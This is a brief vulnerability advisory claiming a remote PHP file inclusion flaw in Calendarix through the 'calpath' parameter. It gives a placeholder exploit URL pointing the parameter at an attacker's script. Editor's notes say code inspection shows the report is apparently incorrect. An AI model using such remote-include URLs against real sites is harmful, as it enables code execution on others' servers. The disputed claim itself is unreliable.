Description:
A vulnerability was reported in Calendarix. A remote user can include and execute arbitrary code on the target system. [Editor's note: This report appears to be incorrect.]
The software does not properly validate user-supplied input in the 'calpath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]
Sh3ll reported this vulnerability.
[Editor's note: On code inspection, the $calpath parameter is defined in the 'cal_config.inc.php' script to be a local directory. As a result, the parameter cannot be specified by the remote user.]
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
No solution was available at the time of this entry.
[Editor's note: Based on code inspection, this report appears to be incorrect and will be deleted from our database shortly.]
